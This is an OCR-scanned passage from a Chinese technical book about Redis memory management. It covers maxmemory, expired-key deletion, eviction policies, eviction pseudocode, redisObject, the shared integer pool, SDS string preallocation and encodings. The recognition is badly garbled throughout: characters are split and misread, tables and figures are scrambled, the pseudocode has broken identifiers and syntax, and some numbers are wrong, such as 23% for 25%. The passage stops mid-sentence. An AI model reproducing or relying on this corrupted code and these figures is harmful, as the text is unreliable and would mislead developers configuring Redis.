| Redis-1:6GB Redis-1:6GB | ; 
| 
| | Radis.22Gh Redis-2:2GB | 
I | 
Redis-3:4GB | I 
| 
| Redis44GBE ics he a | 


ys 





图 8-3 ”Redis 实 例 之 间 调 整 max-memory 伸 缩 内 存 
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这 个 例子 过 于 理想 化 ， 如 果 此 时 Redis-3 和 Redis-4 实 例 也 需要 分 别 扩容 
到 6GB， 这 时 超出 系统 物理 内 存 限制 就 不 能 简单 的 通过 调整 maxmemory 来 达 
到 扩容 的 目的 ， 需 要 采用 在 线 迁 移 数 据 或 者 通过 复制 切换 服务 器 来 达到 扩容 


的 目的 。 具 体 细 市 见 第 9 章 “ 哨 兵 ” 和 第 10 章 “集群 "部 分 。 


© nn 


Redis 上 默认 无 限 使 用 服务 嚣 内存， 为 防止 极端 情况 下 导致 系统 内 存 耗 
尽 ， 建 议 所 有 的 Redis 进 程 都 要 配置 maxmemory。 








在 保证 物理 内 存 可 用 的 情况 下 ， 系 统 中 所 有 Redis 实 例 可 以 调整 
maxmemory 参 数 来 达到 自由 伸缩 内 存 的 目的 。 
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8.2.3 ”内 存 回 收 俩 略 





Redis 的 内 存 回 收 机 制 主要 体现 在 以 下 两 个 方面 : 


删除 到 达 过 期 时 间 的 键 对 象 。 





:内 存 使 用 达到 maxmemory 上 限时 触发 内 存 溢出 控制 策略 。 
1. 删 除 过 期 键 对 象 


Redis 所 有 的 键 都 可 以 设置 过 期 属性 ， 内 部 保存 在 过 期 字典 中 。 由 于 进 
程 内 保存 大 量 的 键 ， 维 护 每 个 键 精 准 的 过 期 删除 机 制 会 导致 消耗 大 量 的 
CPU， 对 于 单线 程 的 Redis 来 说 成 本 过 高 ， 因 此 Redis 玉 用 惰性 删除 和 定时 任 
务 删除 机 制 实 现 过 期 键 的 内 存 回 收 。 





惰性 删除 : 惰性 删除 用 于 当 客 户 端 读 取 带 有 超时 属性 的 键 时 ， 如 果 已 
经 超过 键 设 置 的 过 期 时 间 ， 会 执行 删除 操作 并 返回 空 ， 这 种 策略 是 出 于 记 省 
CPU 成 本 考虑 ， 不 需要 单独 维护 TTL 链 表 来 处 理 过 期 键 的 删除 。 但 是 单独 用 
这 种 方式 存在 内 存 泄露 的 问题 ， 当 过 期 键 一 直 没 有 访问 将 无 法 得 到 及 时 删 
除 ， 从 而 导致 内 存 不 能 及 时 释放 。 正 因为 如 此 ，Redis 还 提供 另 一 种 定时 任 
务 删除 机 制作 为 情 性 删除 的 补充 。 














定时 任务 删除 : Redis 内 部 维护 一 个 定时 任务 ， 默 认 每 秒 运行 10 次 《〈 通 
过 配置 hz 控制 ) 。 定 时 任务 中 删除 过 期 键 逻 辑 采用 了 目 适 应 算法 ， 根 据 键 的 
过 期 比例 、 使 用 快慢 两 种 速率 模式 回收 键 ， 流 程 如 图 8-4 所 示 。 
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je 


| 








篆 个 数据 库 空 间 
随机 检查 20 个 键 









是 否 
去 名 过 25% 的 
键 -i 期 


-4 
三 








多 

人 去 名 这 25 
盘 次 Redis 事件 之 | 
前 肥 用 科 快 模 人 行 出 
图 8-4 ”定时 任务 回 除 过 期 键 逻 辑 

流程 说 明 : 


1) 定时 任务 在 每 个 数据 库 空 间 随机 检查 20 个 键 ， 当 发 现 过 期 时 删除 对 
应 的 键 。 
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2) 如 果 超 过 检查 数 23% 的 键 过 期 ， 循 环 执行 回收 逻辑 直到 不 足 25% 或 
运行 超时 为 止 ， 慢 模式 下 超时 时 间 为 2$ 室 秒 。 








3) 如 果 之 前 回收 键 逻 辑 超时 ， 则 在 Redis 触 发 内 部 事件 之 前 再 次 以 快 模 
式 运 行 回收 过 期 键 任务 ， 快 模式 下 超时 时 间 为 1 毫秒 且 2 秒 内 只 能 运行 1 次 。 








) 快慢 两 种 模式 内 部 删除 多 辑 相 同 ， 只 是 执行 的 超时 时 间 不 同 。 
2. 内 存 溢出 控制 策略 


当 Redis 所 用 内 存 达到 maxmemory 上 限时 会 触发 相应 的 溢出 控制 策略 。 
有 具体 策略 受 maxmemory-policy 参 数控 制 ，Redis 文 持 6 种 策略 ， 如 下 所 示 : 





1 ) noeviction: 默认 策略 ， 不 会 删除 任何 数据 ， 拒 绝 所 有 写 入 操作 并 返 
回 客 户 端 错误 信息 (error) OOM command not allowed when used memory， 此 
时 Redis 只 响应 读 操作 。 


2) volatile-lru: 根据 LRU 算 法 删除 设置 了 超时 属性 〈expire) 的 键 ， 直 
到 腾 出 足够 空间 为 止 。 如 果 没 有 可 删除 的 键 对 象 ， 回 退 到 noeviction 策 略 。 


3) allkeys-lru: 根据 LRU 算 法 删除 键 ， 不 管 数 据 有 没有 设置 超时 属性 ， 
直到 腾 出 足够 空间 为 止 。 


4) allkeys-random: 随机 删除 所 有 键 ， 直 到 腾 出 足够 空间 为 止 。 
5) volatile-random: 随机 删除 过 期 键 ， 直 到 腾 出 足够 空间 为 止 。 
6) volatile- 世 : 根据 键 值 对 象 的 世 属 性 ， 删 除 最 近 将 要 过 期 数据 。 如 果 


没有 ， 回 退 到 noeviction 策 略 。 
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内 存 溢出 控制 策略 可 以 采用 config set maxmemory-policy{policy} 动 态 配 
置 。Redis 支 持 丰富 的 内 存 溢出 应 对 策略 ， 可 以 根据 实际 需求 灵活 定制 ， 
如 当 设 置 volatile-lru 策 略 时 ， 保 证 具有 过 期 属性 的 键 可 以 根据 LRU 吻 除 ， 而 
未 设置 超时 的 键 可 以 永久 保留 。 还 可 以 采用 allkeys-lru 策 略 把 Redis 变 为 纯 绥 
存 服务 器 使 用 。 当 Redis 因 为 内 存 溢 出 删除 键 时 ， 可 以 通过 执行 info stats 命 令 
查看 evicted keys 指 标 找 出 当前 Redis 服 务 器 已 剔除 的 键 数量 。 








每 次 Redis 执 行 命 令 时 如 果 设 置 了 maxmemory 参 数 ， 都 会 答 试 执行 回收 





内 存 操作 。 当 Redis 一 直 工 作 在 内 存 溢出 〈used_memory>maxmemory) 的 状 
态 下 且 设 置 非 noeviction 策 略 时 ， 会 频 楷 地 触 上 用 回 收 内 存 的 操作 ， 影 响 Redis 


服务 圳 的 性 能 。 回 收 内 存 馆 辑 伪 代码 如 下 : 





def freeMemoryIfNeeded () 
int mem used, mem tofree, mem freed; 
/ / 计算 当前 内 存 总 量 ， 排 除 从 节点 输出 缓冲 区 和 AOF 缓 冲 区 的 内 存 占 



































int slaves = server.slaves; 

mem used = used memory()-slave output buffer sizel(slaves)-aof rewrite buffe 
size(); 

/ / ”如果 当前 使 用 小 于 等 于 maxmemory 退 出 











if (mem used <= server.maxmemory) 
return REDIS OR; 
/ / ”如果 设置 内 存 溢出 策略 为 NoeViction (不 淘汰 ) ， 返 回 错误 。 
if (server.maxmemory policy == 'noeviction') 
return REDIS ERR; 
/ / 计算 需要 释放 多 少 内 存 
mem tofr = mem used - server.maxmemory; 
/ / 初始 化 已 释放 内 存量 
mem freed = 0; 
// 根据 naxmemory-policy 策 略 循环 圳 除 键 释放 内 存 
whil (mem freed < mem tofree) 
// 迭代 Redis 所 有 数据 库 空 间 
for (int Jj] = 0; ] < server.dbnum; JjJ++) 
String bestkey = null; 
dict dict; 
if (server.maxmemory policy == 'allkeys-lru' || 
server.maxmemory policy == 'allkeys-random'): 
/ / 如 果 策 略 是 allkeys-lru/allkeys-random 
/ / 回收 内 存 目标 为 所 有 的 数据 库 键 
dict = server.db[j] .dict; 


else : 
/ / ”如 果 策 略 是 volatile-lru/volatile-random/volatile-ttl 

































































































































































// 回收 内 存 目标 为 带 过 期 时 间 的 数据 库 键 
dict = server.db[j] .expires; 

/ / ”如果 使 用 的 是 随机 策略 ， 那 么 从 目标 字典 中 随机 选 出 键 

if (server.maxmemory policy == 'allkeys-random' || 
server.maxmemory policy == 'volatile-random') 








/ / 随机 返回 被 删除 键 
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bestkey = get random key(dqict) 
else if (server.maxmemory policy == 'allkeys-lru' || 
server.maxmemory Policy == 'volatile-lru') : 
/ / ”循环 随机 采样 mhaxmemory Samples 次 (默认 5 次 ) ， 返 回 相 对 空闲 时 间 最 长 的 键 
bestkey = get lru keyl(dict); 
else if (server.maxmemory policy == 'volatile-ttl1') 
/ / ”循环 随机 采样 haxmemory samples 次 ,返回 最 近 将 要 过 期 的 键 
bestkey = get ttl keyl(dict); 
/ / 删除 被 选中 的 键 
if (bestkey != null) : 
long delta = used memory(); 
deleteKey (bestkey); 
/ / 计算 删除 键 所 释放 的 内 存量 
delta -= used _ memory () ; 
mem freed += delta; 
/ / 删除 操作 同步 给 从 节点 
if (slaves): 
flushSlavesOutputBuffers (); 

















~ 一 












































return REDIS OR; 

















从 伪 代 码 可 以 看 到 ， 频 繁 执行 回收 内 存 成 本 很 品 ， 主 要 包括 查找 可 回收 
键 和 删除 键 的 开销 ， 如 果 当 前 Redis 有 从 节点 ， 回 收 内 存 操作 对 应 的 删除 命 
令 会 同步 到 从 市 点 ， 叶 致 写 放 大 的 问题 ， 如 图 8-5 所 示 。 





COC 
Used-memorv 二 deletes Pt 


execute command maximeimory Bs ee ~>| slave-1 | 
i 
2) 删除 键 回收 内 存 |\、 deletes 
了 
3 


0 i OOO 
) 执行 命令 2 | se | 





图 8-5” 写 入 数据 触及 内 存 回收 操作 
© 


建议 线 上 Redis 内 存 工 作 在 maxmemory>used memory 状 态 下 ， 避 人 免 频 繁 
内 存 回收 开销 。 


对 于 需要 收缩 Redis 内 存 的 场景 ， 可 以 通过 调 小 maxmemory 来 实现 快速 
回收 。 比 如 对 一 个 实际 占用 6GB 内 存 的 进程 设置 maxmemory=4GB， 之 后 第 一 
次 执行 命令 时 ， 如 果 使 用 非 noeviction 策 略 ， 它 会 一 次 性 回收 到 maxmemory 指 
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定 的 内 存量 ， 从 而 达到 快速 回收 内 存 的 目的 。 注 意 ， 此 操作 会 导致 数据 丢失 
和 短暂 的 阻塞 问题 ， 一 般 在 缓存 场景 下 使 用 。 
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8.3 内存 优化 








Redis 所 有 的 数据 部 在 内 存 中 ， 而 内 存 又 是 非 第 宝贵 的 资源 。 如 何 优 化 
内 存 的 使 用 一 直 是 Redis 用 户 非 第 天 注 的 问题 。 本 节 深 入 到 Redis 细 节 中 ， 探 
索 内 存 优化 的 技巧 。 
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8.3.1 redisObject 对 象 





Redis 存 储 的 所 有 值 对 象 在 内 部 定义 为 redisObject 结 构 体 ， 内 部 结构 如 图 
8-6 所 示 。 


rr 


redisObject 


| se type: :4 


| seee encoding:4 









void * | 


| nepss ao arrs lru:REDIS _LRU BITS | 
| int refcount; i 


数据 指针 
rr 有 PP 


图 8-6 redisObject 内 部 结构 


Redis 存 储 的 数据 都 使 用 redisObject 来 封装 ， 包 括 string、hash、1list、 
set、zset 在 内 的 所 有 数据 类 型 。 理 解 redisObject 对 内 存 优化 非常 有 帮助 ， 下 
面 针 对 每 个 字段 做 详细 说 明 : 


type 字 段 : 表示 当前 对 象 使 用 的 数据 类 型 ，Redis 主 要 文 持 5 种 数据 类 
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型 : string、hash、1list、set、zset。 可 以 使 用 typefkey} 命令 查看 对 象 所 属 类 
型 ，type 命 令 返 回 的 是 值 对 象 类 型 ， 键 都 是 string 类 型 。 


encoding 字 段 : 表示 Redis 内 部 编码 类 型 ，encoding 在 Redis 内 部 使 用 ， 
代表 当前 对 象 内 部 采用 哪 种 数据 结构 实现 。 理 解 Redis 内 部 编码 方式 对 于 优 
化 内 存 非 常 重要 ， 同 一 个 对 象 采用 不 同 的 编码 实现 内 存 占用 存在 明显 差异 。 





lru 字 段 : 记录 对 象 最 后 一 次 被 访问 的 时 间 ， 当 配置 了 maxmemory 和 
maxmemory-policy=volatile-lru 或 者 allkeys-lru 时 ， 用 于 辅助 LRU 算 法 删除 键 数 
据 。 可 以 使 用 object idletime{key} 命 令 在 不 更 新 lru 字 段 情 况 下 得 看 当前 键 的 
空闲 时 间 。 


Or 


可 以 使 用 scantobject idletime 命 令 批量 查询 哪些 键 长 时 间 未 被 访问 ， 找 
出 长 时 间 不 访问 的 键 进行 清理 ， 可 降低 内 存 占用 。 


refcount 字 段 :， 记录 当前 对 象 被 引用 的 次 数 ， 用 于 通过 引用 次 数 回 收 内 
存 ， 当 refcount=0 时 ， 可 以 安全 回收 当前 对 象 空间 。 使 用 object refcount{key} 
获取 当前 对 象 引用 。 当 对 象 为 整数 且 范 围 在 [0-9999] 时 ，Redis 可 以 使 用 共享 
对 象 的 方式 来 节省 内 存 。 有 具体 细节 见 之 后 8.3.3 节 “共享 对 象 池 ”部 分 。 


:sptr 字 段 : 与 对 象 的 数据 内 容 相 关 ， 如 果 是 整数 ， 直 接 存 储 数据 ;否则 
表示 指向 数据 的 指针 。Redis 在 3.0 之 后 对 值 对 象 是 字符 串 且 长 度 <=-39 字 节 的 
数据 ， 内 部 编码 为 embstr 类 型 ， 字 符 串 sds 和 redisObject 一 起 分 配 ， 从 而 只 要 
一 次 内 存 操作 即 可 。 
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jana 





高 并 发 写 入 场景 中 ， 在 条 件 允 许 的 情况 下 ， 建 议 字 符 串 长 度 控制 在 39 字 
节 以 内 ， 减 少 创建 redisObject 内 存 分 配 次 数 ， 从 而 提高 性 能 。 
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8.3.2 ”缩减 键 值 对 象 





降低 Redis 内 存 使 用 最 直接 的 方式 嗣 是 缩减 键 (key) 和 值 “value) 的 长 
度 。 


key 长 度 : 如 在 设计 键 时 ， 在 完整 描述 业务 情况 下 ， 键 值 越 短 越 好 。 如 
user: {uid}: friends: notify: {fid} 可 以 简化 为 u: {uid}: fs: nt: {fid}。 


-value 长 度 : 值 对 象 缩减 比较 复杂 ， 常 见 需 求 是 把 业务 对 象 序 列 化 成 二 
进 制 数组 放 入 Redis。 首 先 应 该 在 业务 上 精简 业务 对 象 ， 去 掉 不 必要 的 属性 
避免 存储 无 效 数据 。 其 次 在 序列 化 工具 选择 上 ， 应 该 选择 更 高 效 的 序列 化 工 
具 来 降低 字 节 数组 大 小 。 以 Java 为 例 ， 内 置 的 序列 化 方式 无 论 从 速度 还 是 压 
缩 比 都 不 尽 如 人 意 ， 这 时 可 以 选择 更 高 效 的 序列 化 工具 ， 如 : protostuff、 
kryo 等 ， 图 8-7 是 Java 第 见 序列 化 工具 空间 压缩 对 比 。 








protostuff-graph End 
kryo-serializer hee 
java-build-in-serializer Le 
ee 


jboss-serialization 





图 8-7 ” Java 常见 序列 化 组 件 占 用 内 存 空间 对 比 〈 蛙 位 字 市 ) 
其 中 java-built-in-serializer 表 示 Java 内 置 序列 化 方式 ， 更 多 数据 见 jvm 
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serializers 项 目 : https://github.conyeishay/jvm-serializers/wiki， 其 他 语言 也 有 
各 自 对 应 的 高 效 序列 化 工具 。 





值 对 象 除了 存储 二 进 制 数据 之 外 ， 通 常 还 会 使 用 通用 格式 存储 数据 比 
如 : json、xml 等 作为 字符 串 存储 在 Redis 中 。 这 种 方式 优点 是 方便 调试 和 跨 
语言 ， 但 是 同样 的 数据 相 比 字 节 数 组 所 需 的 空间 更 大 ， 在 内 存 紧张 的 情况 
下 ， 可 以 使 用 通用 压缩 算法 压缩 json、xml 后 再 存 入 Redis， 从 而 降低 内 存 占 
用 ， 例 如 使 用 GZIP 压 缩 后 的 json 可 降低 约 60% 的 空间 。 





Oj 


当 频 党 压缩 解压 json 等 文本 数据 时 ， 开 发 人 员 需 要 考虑 压缩 速度 和 计算 
开销 成 本 ， 这 里 推荐 使 用 Google 的 Snappy 压 缩 工具 ， 在 特定 的 压缩 率 情况 下 
效率 远 远 高 于 GZIP 等 传统 压缩 工具 ， 且 支持 所 有 主流 语言 环境 。 
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8.3.3 ”共享 对 象 池 


共享 对 象 池 是 指 Redis 内 部 维护 [0-9999] 的 整数 对 象 池 。 创 建 大 量 的 整数 
类 型 redisObject 存 在 内 存 开销 ， 每 个 redisObject 内 部 结构 至 少 占 16 字 节 ， 甚 
至 超过 了 整数 自身 空间 消耗 。 所 以 Redis 内 存 维护 一 个 [0-9999] 的 整数 对 象 
池 ， 用 于 节约 内 存 。 除 了 整数 值 对 象 ， 其 他 类 型 如 list、hash、set、zset 内 部 
元 素 也 可 以 使 用 整数 对 象 池 。 因 此 开发 中 在 满足 需求 的 前 提 下 ， 尽 量 使 用 整 
数 对 象 以 节省 内 存 。 


整数 对 象 池 在 Redis 中 通过 变量 REDIS SHARED INTEGERS 定 义 ， 不 能 
通过 配置 修改 。 可 以 通过 object refcount 命 令 碍 看 对 象 引 用 数 验 证 是 否 司 用 整 
数 对 象 池 技术 ， 如 下 : 





redis> set foo 100 

OK 

redis> object refcount foo 
(integer) 2 

redis> set bar 100 

OK 

redis> object refcount bar 
(integer) 3 





设置 键 foo 等 于 100 时 ， 直 接 使 用 共享 池内 整数 对 象 ， 因 此 引用 数 是 2， 
再 设置 键 bar 等 于 100 时 ， 引 用 数 又 变 为 ?3， 如 图 8-8 所 示 。 
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ee 


RedisObject 


| 对 象 ;也 | @ 一 -一 > | type=string | 





| od | | encoding=int | 











| refcount 三 3 | 
| key:bar | © 本 
| Ptr 王 100 | 


CE 


图 8-8 ”整数 对 象 池 共享 机 制 





使 用 整数 对 象 池 究竟 能 降低 多 少 内 存 ? 让 我 们 通过 测试 来 对 比 对 象 池 的 
内 存 优化 效果 ， 如 表 8-2 所 示 。 
表 8-2 是否 使 用 整数 对 象 池 内 存 对 比 
操作 说 明 used_memory_rss 


插入 200 万 [0-9999] 整数 199.91MB 205.28MB 
插入 200 万 [0-9999] 整数 138.87MB 143.28MB 


Os 


本 章 所 有 测试 环境 都 保持 一 致 ， 信 息 如 下 : 





服务 器 信息 : cpu=Intel-Xeon E5606@2.13GHz memory=32GB 


Redis 版 本 : Redis server v=3.0.7sha=00000000: 0malloc=jemalloc- 
3.6.0bits=64 


430 


使 用 共享 对 象 池 后 ， 相 同 的 数据 内 存 使 用 降低 30% 以 上 。 可 见 当 数据 大 
量 使 用 [0-9999] 的 整数 时 ， 共 享 对 象 池 可 以 节约 大 量 内 存 。 需 要 注意 的 是 对 
象 池 并 不 是 只 要 存储 [0-9999] 的 整数 就 可 以 工作 。 当 设置 maxmemory 并 启用 
LRU 相 关 淘汰 策略 如 : volatile-lru，allkeys-lru 时 ，Redis 禁 止 使 用 共享 对 象 
池 ， 测 试 命令 如 下 : 





redis> set key:1 99 















































































































































OK // 设置 key:1=99 

redis> object refcount key:1 

(integer) 2 / / 使 用 了 对 象 共 享 ， 引用 数 为 2 
redis> config set maxmemory-policy volatile-lru 
OK / / 开启 DLRU 淘 汰 策略 

redis> set key:2 99 

OK // 设置 key:2=99 

redis> object refcount key:2 

(integer) 3 / / 使 用 了 对 象 共 享 ， 引用 数 变 为 3 
redis> config set maxmemory 1GB 

OK / / 设置 最 大 可 用 内 存 

redis> set key:3 99 

OK // 设置 key :3=99 

redis> object refcount key:3 

(integer) 1 / / ”未 使 用 对 象 共享 , 引用 数 为 1 
redis> config set maxmemory-policy volatile-tt]l 
OK / / 设置 非 LRU 淘 汰 策略 

redis> set key:4 99 

OK // 设置 key:4=99 

redis> object refcount key:4 

(integer) 4 / / 又 可 以 使 用 对 象 共 享 ， 引用 数 变 为 4 
































为 什么 开启 maxmemory 和 LRU 淘 汰 策略 后 对 象 池 无 效 ? 





LRU 算 法 需要 获取 对 象 最 后 被 访问 时 间 ， 以 便 淘汰 最 长 未 访问 数据 ， 每 
个 对 象 最 后 访问 时 间 存 储 在 redisObject 对 象 的 Iru 字 段 。 对 象 共 享 意 味 着 多 个 
引用 共享 同一 个 redisObject， 这 时 1lru 字 段 也 会 被 共享 ， 导 致 无 法 获取 每 个 对 
象 的 最 后 访问 时 间 。 如 果 没 有 设置 maxmemory， 直 到 内 存 被 用 尽 Redis 也 不 
会 触发 内 存 回 收 ， 所 以 共享 对 象 池 可 以 正常 工作 。 








综 上 所 述 ， 共 享 对 象 池 与 maxmemory+LRU 策 略 冲 突 ， 使 用 时 需要 注 
。 对 于 ziplist 编 码 的 值 对 象 ， 即 使 内 部 数据 为 整数 也 无 法 使 用 共享 对 象 
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池 ， 因 为 ziplist 使 用 压 缩 且 内 存 连 续 的 结构 ， 对 象 共享 判断 成 本 过 高 ，ziplist 
编码 细节 后 面 内 容 详细 说 明 。 


为 什么 只 有 整数 对 象 池 ? 


首先 整数 对 象 池 复 用 的 几率 最 大 ， 其 次 对 象 共 享 的 一 个 关键 操作 就 是 判 
断 相 等 性 ，Redis 之 所 以 只 有 整数 对 象 池 ， 是 因为 整数 比较 算法 时 间 复 杂 度 
为 O(1) ， 只 保留 一 万 个 整数 为 了 防止 对 象 池 浪 费 。 如 果 是 字符 串 判 断 相 
等 性 ， 时 间 复 杂 度 变 为 O Cn) ， 特 别 是 长 字符 串 更 消耗 性 能 〈 浮 点 数 在 
Redis 内 部 使 用 字符 串 存 储 ) 。 对 于 更 复杂 的 数据 结构 如 hash、list 等 ， 相 等 
性 判断 需要 O (2) 。 对 于 单线 程 的 Redis 来 说 ， 这 样 的 开销 显然 不 合理 ， 因 
此 Redis 只 保留 整数 共享 对 象 池 。 
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8.3.4 ”字符 串 优 化 


字符 串 对 象 是 Redis 内 部 最 党 用 的 数据 类 型 。 所 有 的 键 都 是 字符 串 类 
型 ， 值 对 象 数 据 除了 整数 之 外 都 使 用 字符 串 存储 。 比 如 执行 命令 : lpush 
cache: type"redis""memcache""tair"levelDB"，Redis 首 先 创 建 "cache: type" 键 
字符 串 ， 然 后 创建 链表 对 象 ， 链 表 对 象 内 再 包含 四 个 字符 串 对 象 ， 排 除 
Redis 内 部 用 到 的 字符 串 对 象 之 外 至少 创 建 5 个 字符 串 对 象 。 可 见 字 符 串 对 象 
在 Redis 内 部 使 用 非常 广泛 ， 因 此 深刻 理解 Redis 字 符 串 对 于 内 存 优化 非常 有 
帮助 。 


1. 字 符 串 结构 





Redis 没 有 采用 原生 C 语 言 的 字符 串 类 型 而 是 自己 实现 了 字符 串 结 构 ， 内 
部 简单 动态 字符 串 (simple dynamic string，SDS) 。 结 构 如 图 8-9 所 示 。 





SDS 


| int len | @——> 


| int free | 
| char buf| | | 


DE 





图 8-9 ”字符 串 结 构 体 SDS 
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Redis 目 身 实现 的 字符 串 结 构 有 如 下 特点 : 





O (1) 时 间 复 杂 度 获取 : 字符 串 长 度 、 已 用 长 度 、 未 用 长 度 。 





可 用 于 保存 字 节 数组 ， 支 持 安全 的 二 进 制 数据 存储 。 

-内 部 实现 空间 预 分 配 机 制 ， 降 低 内 存 绸 分 配 次 数 。 

惰性 删除 机 制 ， 字 符 串 缩减 后 的 空间 不 释放 ， 作 为 预 分 配 空间 保留 
2. 预 分 配 机 制 


因为 字符 串 (SDS) 存在 预 分 配 机 制 ， 日 和 营 开 发 中 要 小 心 预 分 配 带 来 的 
内 存 浪费 ， 例 如 表 8-3 的 测试 用 例 。 


表 8-3 ”字符 串 内 存 预 分 配 测试 


mem 
Used Ei 
操作 说 明 key 大 小 | value 大 小 国 fragmentatjion 
memory_rss 
ratio 
新 插入 oot | 
zo0w lh ee | 于 方 | 字 节 321.98MB 331.44MB 1.02 
4 


在 阶段 1 上 
;| 每 个 对 象 妃 加 |append| 20 字 节 | 60 字 节 | 657.67MB | 752.80MB 1.14 
60 字 节 数据 


重新 捅 和 人 
,| 重新 撒 set 20 字 节 | 120 字 节 | 474.56MB | 482.45MB 1.02 
200w 数据 


从 测试 数据 可 以 看 出 ， 同 样 的 数据 退 加 后 内 存 消耗 非常 严重 ， 下 面 我 们 
结合 图 来 分 析 这 一 现象 。 阶 段 1 每 个 字符 串 对 象 空间 占用 如 图 8-10 所 示 。 
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SDS 


| len=60 | 


| free=() 





~ 一 


| char buf used( 6( ))+free(O + \O'=61 字 计 





图 8-10 ”阶段 1 字符 串 对 象 内 存 占用 








阶段 1 插入 新 的 字符 串 后 ，free 字 段 保 留 空间 为 0%， 总 占用 空间 = 实际 占 
用 空间 +1 字 节 ， 最 后 1 字 市 保存 "0 标示 结尾 ， 这 里 忽略 int 类 型 len 和 free 字 段 
消耗 的 8 字 节 。 在 阶段 1 原 有 字符 串 上 妃 加 60 字 节 数 据 空间 占用 如 图 8-11 所 


人 钞 。 














SDS 


| len 三 120 | 


| free=120 





~ 


| char buf| sa 120)+free(120)+NO' 一 241 窜 放 








图 8-11 ”阶段 2 追加 60 字 节 字 符 串 对 象 占用 内 存 情况 





追加 操作 后 字符 串 对 象 预 分 配 了 一 倍 容量 作为 预 留 空 间 ， 而 且 大 量 妃 加 
操作 需要 内 存 重 新 分 配 ， 造 成 内 存 人 碎片 率 (mem fragmentation ratio) 上 
升 。 直 接 插入 与 阶段 2 相同 数据 的 空间 占用 ， 如 图 8-12 所 示 。 
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SDS 


| ]en 二 120 | 
| free=O | 


| char buf| | 人 ea 120)+free( O)+T\O'=121 信 记 








图 8-12 与 阶段 2 相同 数据 的 字符 串 空间 占用 


阶段 3 直接 插入 同等 数据 后 ， 相 比 阶段 2 节省 了 每 个 字符 串 对 象 预 分 配 的 


空间 ， 同 时 降低 了 碎片 率 。 


字符 串 之 所 以 采用 预 分 配 的 方式 是 防止 修改 操作 需要 不 断 重 分 配 内 存 和 





字 届 数 据 找 贝 。 但 同样 也 会 造成 内 存 的 浪费 。 字 符 串 预 分 配 每 次 并 不 都 是 翻 
倍 扩容 ， 空 间 预 分 配 规则 如 下 : 


1) 第 一 次 创建 len 属 性 等 于 数据 实际 大 小 ，free 等 于 0， 不 做 预 分 配 。 





2) 修改 后 如 果 已 有 free 空 间 不 够 且 数 据 小 于 1M， 每 次 预 分 配 一 倍 容 


。 如 原 有 len=60byte，free=0， 再 追加 60byte， 预 分 配 120byte， 总 占用 空 


60byte+60byte+120byte+1lbyte。 





3) 修改 后 如 果 已 有 free 空 间 不 够 且 数 据 大 于 1MB， 每 次 预 分 配 1MB 数 


。 如 原 有 len=30MB，free=0， 当 再 退 加 100byte， 预 分 配 1IMB， 总 占用 空 
间 : 


1MB+100byte+1MB+1lbyte。 
Op 
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尽量 减少 字符 串 频 繁 修改 操作 如 append、setrange， 改 为 直接 使 用 set 修 
改 字 符 串 ， 降 低 预 分 配 带 来 的 内 存 浪 费 和 内 存 碎片 化 。 


3. 字 符 串 重 构 


字符 串 重 构 : 指 不 一 定 把 每 份 数据 作为 字符 串 整 体 存 储 ， 像 json 这 样 的 
数据 可 以 使 用 hash 结 构 ， 使 用 二 级 结构 存储 也 能 帮 有 我 们 节省 内 存 。 同 时 可 以 
使 用 hmget、hmset 命 令 支 持 字 段 的 部 分 读 取 修 改 ， 而 不 用 每 次 整体 存 取 。 例 
如 下 面 的 json 数 据 : 








"yid"™: "413368768"7 

"title": "搜狐 局 丝 男 士 "， 
"videoAlbumPic":"http://photocdn.sohu.com/60160518/vrsa ver8400079 ae433 pi 
veidvs T6494271", 

"type": "1024", 

"playlist": "6494271", 

"playTime": "468" 




















分 别 使 用 字符 串 和 hash 结 构 测 试 内 存 表 现 ， 如 表 8-4 所 示 。 


表 8-4 测试 内 存 表现 


下 所 友信 ca nen 
200W key-value 对 hash-max-ziplist-value:66 535.60M 








根据 测试 结构 ， 第 一 次 默认 配置 下 使 用 hash 类 型 ， 内 存 消耗 不 但 没有 降 
低 反 而 比 字 符 串 存储 多 出 2 倍 ， 而 调整 hash-max-ziplist-value=66 之 后 内 存 降 
低 为 535.60M。 因 为 json 的 videoAlbumPic 属 性 长 度 是 65， 而 hash-max-ziplist- 
value 默 认 值 是 64，Redis 采 用 hashtable 编 码 方 式 ， 反 而 消耗 了 大 量 内 存 。 调 
整 配 置 后 hash 类 型 内 部 编码 方式 变 为 ziplist， 相 比 字符 串 更 省 内 存 且 支持 属 
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性 的 部 分 操作 。 下 一 节 将 具体 介绍 ziplist 编 码 优化 细节 。 
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8.3.5 ”编码 优化 


1. 了 解 编码 


Redis 对 外 提供 了 string、list、hash、set、zet 等 类 型 ， 但 是 Redis 内 部 针对 
不 同类 型 存在 编码 的 概念 ， 所 谓 编码 就 是 具体 使 用 哪 种 底层 数据 结构 来 实 
现 。 编 码 不 同 将 直接 影响 数据 的 内 存 占用 和 读 写 效率 。 使 用 object 
encoding{key} 命 令 获取 编码 类 型 。 如 下 所 示 : 














redis> set str:1 hello 


OK 
redis> object encoding str:1 
"embstr" // embstr 编 码 字符 串 





redis> lpush list:1 1 2 3 

(integer) 3 

redis> object encoding list:1 

下 要 于 闹 了 二 这 让 下 // zipli st 编码 列表 








Redis 针 对 每 种 数据 类 型 (type〉 可 以 采用 至 少 两 种 编码 方式 来 实现 ， 表 
8-5 表 示 type 和 encoding 的 对 应 关系 。 


表 8-5 ”type 和 encoding 对 应 关系 表 





总 型 编码 方式 数据 结构 
string 从 化 内 存 分 本 的 字符 素 遇 
Ss 散 列表 编码 
hash - a = 
下 缩 列 表 编 有 
linkedlist 双向 链表 编码 
mm | | 开销 列表 编码 
32 版 本 新 的 列表 编码 
lashtable 散 列表 编码 
Se 
SS 跳跃 表 编 码 
zset . " -一 一 一 一 
下 缩 列 表 编码 
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了 解 编码 和 类 型 对 应 关系 之 后 ， 我 们 不 茶 疑 惑 Redis 为 什么 对 一 种 数据 
结构 实现 多 种 编码 方式 ? 








主要 原因 是 Redis 作 者 想 通 过 不 同 编码 实现 效率 和 空间 的 平衡 。 比 如 当 
我 们 的 存储 只 有 10 个 元 又 的 列表 ， 当 使 用 双向 链表 数据 结构 时 ， 必 然 需 要 维 
护 大 量 的 内 部 字段 如 每 个 元 素 需 要 : 前 置 指针 ， 后 置 指针 ， 数 据 指针 等 ， 造 
成 空间 当 费 ， 如 宋 采 用 连续 内 存 结构 的 压缩 列表 〈ziplisty) ， 将 会 节省 大 量 
内 存 ， 而 由 于 数据 长 度 较 小 ， 存 取 操 作 时 间 复 洒 肛 即使 为 O(n2)〉 性 能 也 可 
满足 需求 。 








2. 控 制 编码 类 型 





编码 类 型 转换 在 Redis 写 入 数据 时 目 动 完成 ， 这 个 转换 过 程 是 不 可 逆 
